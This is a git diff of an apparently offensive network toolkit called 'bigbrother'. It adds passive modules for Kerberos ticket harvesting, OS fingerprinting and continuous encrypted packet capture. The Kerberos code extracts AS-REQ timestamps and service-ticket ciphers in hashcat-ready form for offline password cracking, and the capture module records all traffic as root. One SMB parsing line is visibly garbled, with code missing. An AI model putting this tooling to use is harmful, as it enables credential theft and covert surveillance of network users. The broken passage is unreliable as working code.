0: + break + + if ctx_num == 1: # name-string SEQUENCE OF GeneralString + name_data = data[next_pos:next_pos + length] + names = self._extract_string_sequence(name_data) + return "/".join(names) if names else "" + + pos = next_pos + length + return "" + + def _extract_string_sequence(self, data: bytes) -> list: + """Extract strings from a SEQUENCE OF GeneralString.""" + result = [] + seq_offset = self._enter_sequence(data, 0) + if seq_offset < 0: + return result + + pos = seq_offset + while pos < len(data): + if pos >= len(data): + break + tag = data[pos] + length, next_pos = self._asn1_length(data, pos + 1) + if length < 0 or next_pos + length > len(data): + break + try: + s = data[next_pos:next_pos + length].decode("utf-8", errors="replace") + result.append(s) + except Exception: + pass + pos = next_pos + length + return result + + def _extract_encrypted_data(self, data: bytes) -> tuple: + """Extract etype and cipher from EncryptedData. Returns (etype, hex_cipher).""" + seq_offset = self._enter_sequence(data, 0) + if seq_offset < 0: + return 0, "" + + etype = 0 + cipher_hex = "" + + pos = seq_offset + while pos < len(data) - 2: + ctx_tag = data[pos] + if ctx_tag & 0xC0 != 0xA0: + break + ctx_num = ctx_tag & 0x1F + length, next_pos = self._asn1_length(data, pos + 1) + if length < 0: + break + + ctx_data = data[next_pos:next_pos + length] + + if ctx_num == 0: # etype INTEGER + etype = self._read_integer(ctx_data) + elif ctx_num == 2: # cipher OCTET STRING + if len(ctx_data) >= 2: + c_len, c_off = self._asn1_length(ctx_data, 1) + if c_len > 0 and c_off + c_len <= len(ctx_data): + cipher_hex = ctx_data[c_off:c_off + c_len].hex() + + pos = next_pos + length + + return etype, cipher_hex + + def _extract_ticket_info(self, data: bytes) -> tuple: + """Extract SPN, etype, and enc-part from a Ticket. Returns (spn, etype, cipher_hex).""" + # Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno[0], realm[1], sname[2], enc-part[3] } + if len(data) < 2: + return "", 0, "" + + # Skip application tag + if data[0] & 0xE0 == 0x60: + _, offset = self._asn1_length(data, 1) + else: + offset = 0 + + seq_offset = self._enter_sequence(data, offset) + if seq_offset < 0: + return "", 0, "" + + spn = "" + etype = 0 + cipher_hex = "" + + pos = seq_offset + while pos < len(data) - 2: + ctx_tag = data[pos] + if ctx_tag & 0xC0 != 0xA0: + break + ctx_num = ctx_tag & 0x1F + length, next_pos = self._asn1_length(data, pos + 1) + if length < 0: + break + + ctx_data = data[next_pos:next_pos + length] + + if ctx_num == 2: # sname (PrincipalName) + spn = self._extract_principal_name(ctx_data) + elif ctx_num == 3: # enc-part (EncryptedData) + etype, cipher_hex = self._extract_encrypted_data(ctx_data) + + pos = next_pos + length + + return spn, etype, cipher_hex + + def _extract_padata_enc_timestamp(self, data: bytes) -> tuple: + """Extract PA-ENC-TIMESTAMP from padata sequence. Returns (hex_cipher, etype).""" + seq_offset = self._enter_sequence(data, 0) + if seq_offset < 0: + return "", 0 + + pos = seq_offset + while pos < len(data) - 2: + # Each PA-DATA is a SEQUENCE { padata-type[1], padata-value[2] } + if data[pos] != 0x30: + break + pa_len, pa_off = self._asn1_length(data, pos + 1) + if pa_len < 0: + break + + pa_data = data[pa_off:pa_off + pa_len] + pa_type = 0 + pa_value = b"" + + inner_pos = 0 + while inner_pos < len(pa_data) - 2: + ctx_tag = pa_data[inner_pos] + if ctx_tag & 0xC0 != 0xA0: + break + ctx_num = ctx_tag & 0x1F + il, ip = self._asn1_length(pa_data, inner_pos + 1) + if il < 0: + break + + if ctx_num == 1: # padata-type + pa_type = self._read_integer(pa_data[ip:ip + il]) + elif ctx_num == 2: # padata-value + pa_value = pa_data[ip:ip + il] + + inner_pos = ip + il + + if pa_type == 2 and pa_value: # PA-ENC-TIMESTAMP + etype, cipher = self._extract_encrypted_data(pa_value) + if cipher: + return cipher, etype + + pos = pa_off + pa_len + + return "", 0 + + def _extract_req_body_info(self, data: bytes) -> tuple: + """Extract realm and cname from KDC-REQ-BODY. Returns (realm, username).""" + seq_offset = self._enter_sequence(data, 0) + if seq_offset < 0: + return "", "" + + realm = "" + username = "" + + pos = seq_offset + while pos < len(data) - 2: + ctx_tag = data[pos] + if ctx_tag & 0xC0 != 0xA0: + break + ctx_num = ctx_tag & 0x1F + length, next_pos = self._asn1_length(data, pos + 1) + if length < 0: + break + + ctx_data = data[next_pos:next_pos + length] + + if ctx_num == 1: # cname + username = self._extract_principal_name(ctx_data) + elif ctx_num == 2: # realm + realm = self._read_string(ctx_data) + + pos = next_pos + length + + return realm, username + + def _read_integer(self, data: bytes) -> int: + """Read an ASN.1 INTEGER value.""" + if len(data) < 2: + return 0 + tag = data[0] + if tag != 0x02: + return 0 + length, offset = self._asn1_length(data, 1) + if length < 0 or offset + length > len(data): + return 0 + return int.from_bytes(data[offset:offset + length], "big", signed=True) + + # ------------------------------------------------------------------ + # Ticket emission + # ------------------------------------------------------------------ + + def _emit_ticket(self, ts: float, client_ip: str, dc_ip: str, + realm: str, username: str, spn: str, + ticket_type: str, hashcat_mode: int, + hash_value: str) -> None: + self._total_tickets += 1 + + record = (ts, client_ip, dc_ip, realm, username, spn, + ticket_type, hashcat_mode, hash_value) + + with self._buffer_lock: + self._buffer.append(record) + if len(self._buffer) >= self.BATCH_SIZE: + self._flush_buffer() + + self.bus.emit("TICKET_HARVESTED", { + "source_ip": client_ip, + "dc_ip": dc_ip, + "realm": realm, + "username": username, + "spn": spn, + "ticket_type": ticket_type, + "hashcat_mode": hashcat_mode, + }, source_module=self.name) + + logger.info( + "TICKET: %s %s@%s -> %s (hashcat -m %d)", + ticket_type, username, realm, dc_ip, hashcat_mode, + ) + + # ------------------------------------------------------------------ + # Buffer flush + # ------------------------------------------------------------------ + + def _flush_loop(self) -> None: + while self._running: + time.sleep(self.FLUSH_INTERVAL) + try: + self._flush_buffer() + except Exception: + logger.exception("Kerberos flush error") + + def _flush_buffer(self) -> None: + with self._buffer_lock: + batch = list(self._buffer) + self._buffer.clear() + + if not batch or not self._db_conn: + return + + try: + self._db_conn.executemany( + "INSERT INTO kerberos_tickets " + "(timestamp, source_ip, dc_ip, realm, username, spn, " + "ticket_type, hashcat_mode, hash_value) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)", + batch, + ) + self._db_conn.commit() + except Exception: + logger.exception("Failed to flush %d kerberos tickets", len(batch)) diff --git a/modules/passive/os_fingerprint.py b/modules/passive/os_fingerprint.py new file mode 100644 index 0000000..316b05a --- /dev/null +++ b/modules/passive/os_fingerprint.py @@ -0,0 +1,622 @@ +#!/usr/bin/env python3 +"""Passive OS fingerprinting via p0f-style TCP analysis and protocol headers. + +Analyzes: + - TCP SYN/SYN-ACK: TTL, window size, DF flag, MSS, SACK, TCP timestamps + - HTTP User-Agent headers + - DHCP vendor class identifiers + - SMB dialect negotiation + - SSH version strings + +Multiple signal sources produce confidence scoring per host. Results are +merged with the hosts table from host_discovery. +""" + +import logging +import os +import re +import socket +import sqlite3 +import struct +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.passive.os_fingerprint") + +# p0f-style TCP signature database (built-in fallback) +# Format: (ttl_range, window_size, df, mss_range, sack, timestamps) -> (os_family, os_version) +TCP_SIG_DB = [ + # Linux signatures + {"ttl": (64, 64), "df": True, "window": (5720, 65535), "mss": (1360, 1460), + "sack": True, "ts": True, "os_family": "Linux", "os_version": "2.6+"}, + # Windows signatures + {"ttl": (128, 128), "df": True, "window": (8192, 65535), "mss": (1360, 1460), + "sack": True, "ts": False, "os_family": "Windows", "os_version": "7/10/Server"}, + {"ttl": (128, 128), "df": True, "window": (8192, 8192), "mss": (1360, 1460), + "sack": True, "ts": False, "os_family": "Windows", "os_version": "XP/2003"}, + # macOS / iOS + {"ttl": (64, 64), "df": True, "window": (65535, 65535), "mss": (1360, 1460), + "sack": True, "ts": True, "os_family": "macOS", "os_version": "10.x+"}, + # FreeBSD + {"ttl": (64, 64), "df": True, "window": (65535, 65535), "mss": (1360, 1460), + "sack": True, "ts": True, "os_family": "FreeBSD", "os_version": ""}, + # Cisco IOS + {"ttl": (255, 255), "df": False, "window": (4128, 4128), "mss": (536, 536), + "sack": False, "ts": False, "os_family": "Cisco", "os_version": "IOS"}, + # Solaris + {"ttl": (255, 255), "df": False, "window": (49232, 49232), "mss": (1360, 1460), + "sack": False, "ts": True, "os_family": "Solaris", "os_version": "10+"}, +] + +# HTTP User-Agent patterns +UA_PATTERNS = [ + (re.compile(r"Windows NT 10\.0"), "Windows", "10/11"), + (re.compile(r"Windows NT 6\.3"), "Windows", "8.1"), + (re.compile(r"Windows NT 6\.2"), "Windows", "8"), + (re.compile(r"Windows NT 6\.1"), "Windows", "7"), + (re.compile(r"Windows NT 5\.1"), "Windows", "XP"), + (re.compile(r"Mac OS X (\d+[._]\d+)"), "macOS", ""), + (re.compile(r"Linux"), "Linux", ""), + (re.compile(r"Ubuntu"), "Linux", "Ubuntu"), + (re.compile(r"Android (\d+)"), "Android", ""), + (re.compile(r"iPhone OS (\d+)"), "iOS", ""), + (re.compile(r"iPad.*OS (\d+)"), "iPadOS", ""), + (re.compile(r"CrOS"), "ChromeOS", ""), +] + + +class OSFingerprint(BaseModule): + """Passive OS fingerprinting via TCP/protocol analysis.""" + + name = "os_fingerprint" + module_type = "passive" + priority = 150 + requires_root = True + + BATCH_SIZE = 200 + FLUSH_INTERVAL = 120 + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._capture_bus = None + self._sub_queue = None + self._reader_thread: Optional[threading.Thread] = None + self._flusher_thread: Optional[threading.Thread] = None + self._buffer = [] + self._buffer_lock = threading.Lock() + self._db_path = "" + self._db_conn: Optional[sqlite3.Connection] = None + self._total_fingerprints = 0 + # Per-IP confidence tracker: ip -> {os_family: {method: confidence}} + self._ip_os_scores = {} + self._scores_lock = threading.Lock() + # External signature database + self._os_sigs = [] + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._capture_bus = self.config.get("capture_bus") + if not self._capture_bus: + logger.error("OSFingerprint requires capture_bus in config") + return + + base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) + self._db_path = os.path.join(base_dir, "os_fingerprints.db") + Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) + self._init_db() + + # Load external OS signatures + sigs_path = self.config.get("os_sigs_db", "") + if sigs_path and os.path.isfile(sigs_path): + self._load_os_sigs(sigs_path) + + # Subscribe to SYN packets + HTTP/SMB/SSH for protocol fingerprinting + # Using a broad filter; the module parses selectively + bpf = "tcp[tcpflags] & (tcp-syn) != 0" + self._sub_queue = self._capture_bus.subscribe( + name=self.name, bpf_filter=bpf, queue_depth=8000 + ) + + # Second subscription for application-layer fingerprints + # We use a broader capture for HTTP/SMB/SSH — but since capture_bus + # only supports one subscription per module name, we parse app-layer + # from the same stream by also checking non-SYN packets that match + # We subscribe with an empty filter to get everything and filter in code + # Actually, let's keep SYN filter and add a second subscriber + self._capture_bus.unsubscribe(self.name) + self._sub_queue = self._capture_bus.subscribe( + name=self.name, + bpf_filter="tcp", # All TCP — we filter SYN and app-layer in code + queue_depth=10000, + ) + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self._reader_thread = threading.Thread( + target=self._read_packets, daemon=True, name="bb-osfp-reader" + ) + self._reader_thread.start() + + self._flusher_thread = threading.Thread( + target=self._flush_loop, daemon=True, name="bb-osfp-flusher" + ) + self._flusher_thread.start() + + self.state.set_module_status(self.name, "running", pid=os.getpid()) + logger.info("OSFingerprint started — passive TCP/protocol analysis") + + def stop(self) -> None: + if not self._running: + return + self._running = False + + if self._capture_bus: + self._capture_bus.unsubscribe(self.name) + + self._flush_buffer() + if self._db_conn: + self._db_conn.close() + self._db_conn = None + + self.state.set_module_status(self.name, "stopped") + logger.info("OSFingerprint stopped — %d fingerprints collected", self._total_fingerprints) + + def status(self) -> dict: + with self._scores_lock: + unique_hosts = len(self._ip_os_scores) + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "total_fingerprints": self._total_fingerprints, + "unique_hosts": unique_hosts, + "buffer_size": len(self._buffer), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Database + # ------------------------------------------------------------------ + + def _init_db(self) -> None: + self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False) + self._db_conn.execute("PRAGMA journal_mode=WAL") + self._db_conn.execute("PRAGMA synchronous=NORMAL") + self._db_conn.executescript(""" + CREATE TABLE IF NOT EXISTS os_fingerprints ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + ip TEXT NOT NULL, + method TEXT NOT NULL, + signature TEXT, + os_family TEXT, + os_version TEXT, + confidence REAL, + timestamp REAL NOT NULL + ); + CREATE INDEX IF NOT EXISTS idx_osfp_ip ON os_fingerprints(ip); + CREATE INDEX IF NOT EXISTS idx_osfp_family ON os_fingerprints(os_family); + """) + self._db_conn.commit() + + def _load_os_sigs(self, path: str) -> None: + """Load OS signature database from SQLite.""" + try: + conn = sqlite3.connect(path) + rows = conn.execute( + "SELECT ttl, window, df, mss, sack, timestamps, os_family, os_version " + "FROM signatures" + ).fetchall() + for row in rows: + self._os_sigs.append({ + "ttl": (row[0], row[0]), + "window": (row[1], row[1]), + "df": bool(row[2]), + "mss": (row[3], row[3]), + "sack": bool(row[4]), + "ts": bool(row[5]), + "os_family": row[6], + "os_version": row[7] or "", + }) + conn.close() + logger.info("Loaded %d OS signatures from %s", len(self._os_sigs), path) + except Exception: + logger.warning("Failed to load OS signatures from %s", path) + + # ------------------------------------------------------------------ + # Packet reader + # ------------------------------------------------------------------ + + def _read_packets(self) -> None: + while self._running: + result = self._sub_queue.get(timeout=1.0) + if result is None: + continue + ts, raw_packet = result + try: + self._parse_packet(ts, raw_packet) + except Exception: + pass + + def _parse_packet(self, ts: float, raw: bytes) -> None: + if len(raw) < 14: + return + + eth_type = struct.unpack("!H", raw[12:14])[0] + ip_offset = 14 + if eth_type == 0x8100: + if len(raw) < 18: + return + eth_type = struct.unpack("!H", raw[16:18])[0] + ip_offset = 18 + + if eth_type != 0x0800: + return + + if len(raw) < ip_offset + 20: + return + + ip_hdr = raw[ip_offset:] + ihl = (ip_hdr[0] & 0x0F) * 4 + ip_proto = ip_hdr[9] + if ip_proto != 6: + return + + src_ip = socket.inet_ntoa(ip_hdr[12:16]) + dst_ip = socket.inet_ntoa(ip_hdr[16:20]) + ip_ttl = ip_hdr[8] + ip_flags = struct.unpack("!H", ip_hdr[6:8])[0] + df_flag = bool(ip_flags & 0x4000) + + tcp_offset = ip_offset + ihl + if len(raw) < tcp_offset + 20: + return + + tcp_hdr = raw[tcp_offset:] + src_port, dst_port = struct.unpack("!HH", tcp_hdr[:4]) + tcp_flags = tcp_hdr[13] + window = struct.unpack("!H", tcp_hdr[14:16])[0] + tcp_hdr_len = ((tcp_hdr[12] >> 4) & 0xF) * 4 + + syn = bool(tcp_flags & 0x02) + ack = bool(tcp_flags & 0x10) + + # SYN or SYN-ACK — do TCP fingerprinting + if syn: + self._fingerprint_tcp_syn( + ts, src_ip, ip_ttl, df_flag, window, + tcp_hdr[:tcp_hdr_len], syn_ack=ack, + ) + + # Application-layer fingerprinting for non-SYN packets with payload + if not syn: + payload = raw[tcp_offset + tcp_hdr_len:] + if payload: + if src_port == 80 or dst_port == 80 or src_port == 8080 or dst_port == 8080: + self._fingerprint_http(ts, src_ip, dst_ip, src_port, payload) + elif src_port == 22 or dst_port == 22: + self._fingerprint_ssh(ts, src_ip, src_port, payload) + elif src_port == 445 or dst_port == 445: + self._fingerprint_smb(ts, src_ip, src_port, payload) + + # ------------------------------------------------------------------ + # TCP SYN fingerprinting (p0f-style) + # ------------------------------------------------------------------ + + def _fingerprint_tcp_syn(self, ts: float, ip: str, ttl: int, + df: bool, window: int, tcp_header: bytes, + syn_ack: bool = False) -> None: + """Analyze TCP SYN/SYN-ACK options for OS fingerprinting.""" + # Parse TCP options + mss = 0 + has_sack = False + has_timestamps = False + wscale = 0 + + if len(tcp_header) > 20: + opt_offset = 20 + while opt_offset < len(tcp_header): + opt_kind = tcp_header[opt_offset] + if opt_kind == 0: # End of options + break + if opt_kind == 1: # NOP + opt_offset += 1 + continue + if opt_offset + 1 >= len(tcp_header): + break + opt_len = tcp_header[opt_offset + 1] + if opt_len < 2 or opt_offset + opt_len > len(tcp_header): + break + + if opt_kind == 2 and opt_len == 4: # MSS + mss = struct.unpack("!H", tcp_header[opt_offset + 2:opt_offset + 4])[0] + elif opt_kind == 3 and opt_len == 3: # Window Scale + wscale = tcp_header[opt_offset + 2] + elif opt_kind == 4: # SACK Permitted + has_sack = True + elif opt_kind == 8: # Timestamps + has_timestamps = True + + opt_offset += opt_len + + # Normalize TTL to nearest power-of-2 boundary + initial_ttl = self._normalize_ttl(ttl) + + # Build signature string + sig = f"ttl:{initial_ttl}:win:{window}:mss:{mss}:df:{int(df)}:sack:{int(has_sack)}:ts:{int(has_timestamps)}:wscale:{wscale}" + + # Match against signature database + os_family, os_version, confidence = self._match_tcp_signature( + initial_ttl, window, df, mss, has_sack, has_timestamps, + ) + + if os_family: + method = "tcp_syn_ack" if syn_ack else "tcp_syn" + self._record_fingerprint(ts, ip, method, sig, os_family, os_version, confidence) + + def _match_tcp_signature(self, ttl: int, window: int, df: bool, + mss: int, sack: bool, timestamps: bool) -> tuple: + """Match TCP parameters against signature database.""" + best_match = ("", "", 0.0) + best_score = 0 + + sig_sources = self._os_sigs if self._os_sigs else TCP_SIG_DB + + for sig in sig_sources: + score = 0 + total = 6 + + ttl_lo, ttl_hi = sig["ttl"] + if ttl_lo <= ttl <= ttl_hi: + score += 2 # TTL is weighted higher + + win_lo, win_hi = sig["window"] + if win_lo <= window <= win_hi: + score += 1 + + if sig["df"] == df: + score += 1 + + mss_lo, mss_hi = sig["mss"] + if mss_lo <= mss <= mss_hi: + score += 1 + + if sig["sack"] == sack: + score += 0.5 + + if sig["ts"] == timestamps: + score += 0.5 + + if score > best_score: + best_score = score + confidence = score / total + best_match = (sig["os_family"], sig["os_version"], confidence) + + return best_match + + @staticmethod + def _normalize_ttl(ttl: int) -> int: + """Estimate initial TTL from observed TTL.""" + if ttl <= 32: + return 32 + elif ttl <= 64: + return 64 + elif ttl <= 128: + return 128 + else: + return 255 + + # ------------------------------------------------------------------ + # Application-layer fingerprinting + # ------------------------------------------------------------------ + + def _fingerprint_http(self, ts: float, src_ip: str, dst_ip: str, + src_port: int, payload: bytes) -> None: + """Extract OS info from HTTP User-Agent headers.""" + try: + text = payload[:4096].decode("utf-8", errors="ignore") + except Exception: + return + + ua_match = re.search(r"User-Agent:\s*(.+?)(?:\r\n|\n)", text, re.IGNORECASE) + if not ua_match: + return + + ua = ua_match.group(1).strip() + # The User-Agent is from the client (request sender) + # If src_port is ephemeral (>1024), this is a client + if src_port > 1024: + fp_ip = src_ip + else: + fp_ip = dst_ip + + for pattern, os_family, os_version in UA_PATTERNS: + m = pattern.search(ua) + if m: + version = os_version + if not version and m.lastindex: + version = m.group(1).replace("_", ".") + self._record_fingerprint( + ts, fp_ip, "http_ua", ua[:200], + os_family, version, 0.7, + ) + break + + def _fingerprint_ssh(self, ts: float, ip: str, src_port: int, + payload: bytes) -> None: + """Extract OS info from SSH version string.""" + try: + text = payload[:256].decode("ascii", errors="ignore") + except Exception: + return + + if not text.startswith("SSH-"): + return + + # SSH version string: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1 + version_str = text.strip() + # The SSH server sends its banner — src_port should be 22 + fp_ip = ip if src_port == 22 else ip + + os_family = "" + os_version = "" + + if "Ubuntu" in version_str: + os_family = "Linux" + os_version = "Ubuntu" + elif "Debian" in version_str: + os_family = "Linux" + os_version = "Debian" + elif "FreeBSD" in version_str: + os_family = "FreeBSD" + elif "OpenSSH" in version_str: + # Generic OpenSSH — likely Linux or BSD + os_family = "Linux/BSD" + + if os_family: + self._record_fingerprint( + ts, fp_ip, "ssh_banner", version_str[:200], + os_family, os_version, 0.8, + ) + + def _fingerprint_smb(self, ts: float, ip: str, src_port: int, + payload: bytes) -> None: + """Extract OS info from SMB negotiate response.""" + # SMB2 header: 0xFE 'S' 'M' 'B' + if len(payload) < 68: + return + + # Look for SMB2 header + smb2_offset = payload.find(b"\xfeSMB") + if smb2_offset < 0: + # Try SMB1 + smb1_offset = payload.find(b"\xffSMB") + if smb1_offset >= 0 and src_port == 445: + self._record_fingerprint( + ts, ip, "smb_dialect", "SMB1", + "Windows", "XP/2003 or Samba", 0.5, + ) + return + + # SMB2 negotiate response from server (src_port 445) + if src_port != 445: + return + + smb2_data = payload[smb2_offset:] + if len(smb2_data) < 68: + return + + # SMB2 header is 64 bytes, then negotiate response + # Dialect at offset 4-5 of negotiate response (after 64-byte header) + neg_response = smb2_data[64:] + if len(neg_response) < 6: + return + + # struct_size(2) + security_mode(2) + dialect_revision(2) + dialect = struct.unpack(" None: + """Record an OS fingerprint observation.""" + self._total_fingerprints += 1 + + # Update per-IP confidence scoring + with self._scores_lock: + if ip not in self._ip_os_scores: + self._ip_os_scores[ip] = {} + scores = self._ip_os_scores[ip] + if os_family not in scores: + scores[os_family] = {} + scores[os_family][method] = confidence + + record = (ip, method, signature[:500], os_family, os_version, confidence, ts) + with self._buffer_lock: + self._buffer.append(record) + if len(self._buffer) >= self.BATCH_SIZE: + self._flush_buffer() + + def get_best_guess(self, ip: str) -> dict: + """Get the highest-confidence OS guess for an IP.""" + with self._scores_lock: + scores = self._ip_os_scores.get(ip, {}) + + if not scores: + return {"os_family": "", "confidence": 0.0} + + # Aggregate confidence per OS family + best_family = "" + best_conf = 0.0 + for os_family, methods in scores.items(): + # Average confidence across methods, boosted by method count + avg_conf = sum(methods.values()) / len(methods) + method_bonus = min(len(methods) * 0.1, 0.3) # Up to 30% bonus + total_conf = min(avg_conf + method_bonus, 1.0) + if total_conf > best_conf: + best_conf = total_conf + best_family = os_family + + return {"os_family": best_family, "confidence": round(best_conf, 2)} + + # ------------------------------------------------------------------ + # Buffer flush + # ------------------------------------------------------------------ + + def _flush_loop(self) -> None: + while self._running: + time.sleep(self.FLUSH_INTERVAL) + try: + self._flush_buffer() + except Exception: + logger.exception("OS fingerprint flush error") + + def _flush_buffer(self) -> None: + with self._buffer_lock: + batch = list(self._buffer) + self._buffer.clear() + + if not batch or not self._db_conn: + return + + try: + self._db_conn.executemany( + "INSERT INTO os_fingerprints " + "(ip, method, signature, os_family, os_version, confidence, timestamp) " + "VALUES (?, ?, ?, ?, ?, ?, ?)", + batch, + ) + self._db_conn.commit() + except Exception: + logger.exception("Failed to flush %d OS fingerprints", len(batch)) diff --git a/modules/passive/packet_capture.py b/modules/passive/packet_capture.py new file mode 100644 index 0000000..9baef89 --- /dev/null +++ b/modules/passive/packet_capture.py @@ -0,0 +1,372 @@ +#!/usr/bin/env python3 +"""Full packet capture via tcpdump with post-rotation compression and encryption. + +Manages tcpdump as a supervised subprocess. After each PCAP rotation: + 1. Compress with zstd (level configurable per platform) + 2. Encrypt with AES-256-GCM + 3. Remove plaintext PCAP + 4. Publish PCAP_ROTATED event + +Disk monitoring auto-purges oldest encrypted PCAPs at 85% threshold. +""" + +import glob +import logging +import os +import shutil +import signal +import struct +import subprocess +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.passive.packet_capture") + + +class PacketCapture(BaseModule): + """Manage tcpdump for continuous full packet capture with rotation.""" + + name = "packet_capture" + module_type = "passive" + priority = 50 + requires_root = True + + # Defaults + DEFAULT_INTERFACE = "eth0" + DEFAULT_SNAP_LEN = 65535 + DEFAULT_ROTATION_SECS = 3600 + DEFAULT_MAX_FILES = 168 # 7 days at 1h rotation + DEFAULT_COMPRESSION_LEVEL = 3 + DEFAULT_DISK_THRESHOLD = 85 # percent + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._proc: Optional[subprocess.Popen] = None + self._watcher_thread: Optional[threading.Thread] = None + self._rotation_thread: Optional[threading.Thread] = None + self._lock = threading.Lock() + self._pcap_dir = "" + self._pcap_count = 0 + self._bytes_written = 0 + self._encryption_key = b"" + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + iface = self.config.get("interface", self.DEFAULT_INTERFACE) + snap_len = self.config.get("snap_length", self.DEFAULT_SNAP_LEN) + rotation = self.config.get("rotation_minutes", 60) * 60 + if rotation <= 0: + rotation = self.DEFAULT_ROTATION_SECS + compress_level = self.config.get("compression_level", self.DEFAULT_COMPRESSION_LEVEL) + disk_threshold = self.config.get("disk_threshold", self.DEFAULT_DISK_THRESHOLD) + + # Directories + base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) + self._pcap_dir = os.path.join(base_dir, "pcaps") + Path(self._pcap_dir).mkdir(parents=True, exist_ok=True) + + # Encryption key from config (derived by crypto module at startup) + self._encryption_key = self.config.get("encryption_key", b"") + if isinstance(self._encryption_key, str): + self._encryption_key = self._encryption_key.encode() + + # Build tcpdump command + pcap_template = os.path.join(self._pcap_dir, "capture_%Y%m%d_%H%M%S.pcap") + cmd = [ + "tcpdump", + "-i", iface, + "-G", str(rotation), + "-s", str(snap_len), + "-w", pcap_template, + "--time-stamp-precision=nano", + "-Z", "root", # don't drop privs (we need to read output files) + ] + + try: + self._proc = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + preexec_fn=os.setsid, + ) + except FileNotFoundError: + logger.error("tcpdump binary not found") + return + except Exception as e: + logger.error("Failed to start tcpdump: %s", e) + return + + self._running = True + self._pid = self._proc.pid + self._start_time = time.time() + + # Watcher thread — monitors tcpdump stderr and detects crashes + self._watcher_thread = threading.Thread( + target=self._watch_tcpdump, daemon=True, name="bb-pcap-watch" + ) + self._watcher_thread.start() + + # Rotation thread — scans for completed PCAPs to compress/encrypt + self._rotation_thread = threading.Thread( + target=self._rotation_loop, + args=(compress_level, disk_threshold), + daemon=True, name="bb-pcap-rotate", + ) + self._rotation_thread.start() + + self.state.set_module_status(self.name, "running", pid=self._proc.pid) + logger.info( + "PacketCapture started — tcpdump PID %d, iface=%s, rotation=%ds, snap=%d", + self._proc.pid, iface, rotation, snap_len, + ) + + def stop(self) -> None: + if not self._running: + return + self._running = False + + # Graceful shutdown of tcpdump + if self._proc and self._proc.poll() is None: + try: + os.killpg(os.getpgid(self._proc.pid), signal.SIGTERM) + except (OSError, ProcessLookupError): + pass + try: + self._proc.wait(timeout=5.0) + except subprocess.TimeoutExpired: + try: + os.killpg(os.getpgid(self._proc.pid), signal.SIGKILL) + self._proc.wait(timeout=2.0) + except Exception: + pass + + self._proc = None + self._pid = None + self.state.set_module_status(self.name, "stopped") + logger.info("PacketCapture stopped — %d PCAPs rotated", self._pcap_count) + + def status(self) -> dict: + alive = self._proc is not None and self._proc.poll() is None + return { + "running": alive, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "pcap_dir": self._pcap_dir, + "pcap_count": self._pcap_count, + "bytes_written": self._bytes_written, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + # Live reconfig requires restart + if self._running: + logger.info("PacketCapture config changed — restarting tcpdump") + self.stop() + self.start() + + # ------------------------------------------------------------------ + # tcpdump watcher + # ------------------------------------------------------------------ + + def _watch_tcpdump(self) -> None: + """Read tcpdump stderr for stats and detect exit.""" + try: + for line in iter(self._proc.stderr.readline, b""): + if not self._running: + break + decoded = line.decode("utf-8", errors="replace").rstrip() + if decoded: + logger.debug("tcpdump: %s", decoded) + except Exception: + pass + + # tcpdump exited + if self._running: + rc = self._proc.poll() if self._proc else -1 + logger.warning("tcpdump exited unexpectedly (rc=%s)", rc) + self.bus.emit("TOOL_CRASHED", { + "tool": "tcpdump", "exit_code": rc, + }, source_module=self.name) + + # ------------------------------------------------------------------ + # Rotation loop — compress, encrypt, purge + # ------------------------------------------------------------------ + + def _rotation_loop(self, compress_level: int, disk_threshold: int) -> None: + """Periodically scan for completed PCAPs and process them.""" + while self._running: + time.sleep(30) # Check every 30 seconds + try: + self._process_completed_pcaps(compress_level) + self._check_disk_usage(disk_threshold) + except Exception: + logger.exception("Rotation loop error") + + def _process_completed_pcaps(self, compress_level: int) -> None: + """Find completed (not actively written) PCAPs and compress+encrypt.""" + pattern = os.path.join(self._pcap_dir, "capture_*.pcap") + pcap_files = sorted(glob.glob(pattern)) + + for pcap_path in pcap_files: + # Skip the file tcpdump is currently writing to (most recent) + if self._is_file_locked(pcap_path): + continue + + # Skip tiny files (likely incomplete) + try: + size = os.path.getsize(pcap_path) + if size < 24: # pcap global header minimum + continue + except OSError: + continue + + compressed_path = pcap_path + ".zst" + encrypted_path = compressed_path + ".enc" + + try: + # Step 1: Compress with zstd + self._compress_zstd(pcap_path, compressed_path, compress_level) + + # Step 2: Encrypt with AES-256-GCM + if self._encryption_key: + self._encrypt_file(compressed_path, encrypted_path) + os.unlink(compressed_path) + final_path = encrypted_path + else: + final_path = compressed_path + + # Step 3: Remove plaintext PCAP + os.unlink(pcap_path) + + self._pcap_count += 1 + final_size = os.path.getsize(final_path) + self._bytes_written += final_size + + # Publish rotation event + self.bus.emit("PCAP_ROTATED", { + "path": final_path, + "original_size": size, + "final_size": final_size, + "compressed": True, + "encrypted": bool(self._encryption_key), + }, source_module=self.name) + + logger.info( + "PCAP rotated: %s -> %s (%.1f%% ratio)", + os.path.basename(pcap_path), + os.path.basename(final_path), + (final_size / size * 100) if size > 0 else 0, + ) + + except Exception: + logger.exception("Failed to process PCAP %s", pcap_path) + + @staticmethod + def _is_file_locked(path: str) -> bool: + """Check if a file is still being written by tcpdump (via fuser).""" + try: + result = subprocess.run( + ["fuser", path], capture_output=True, timeout=2 + ) + return result.returncode == 0 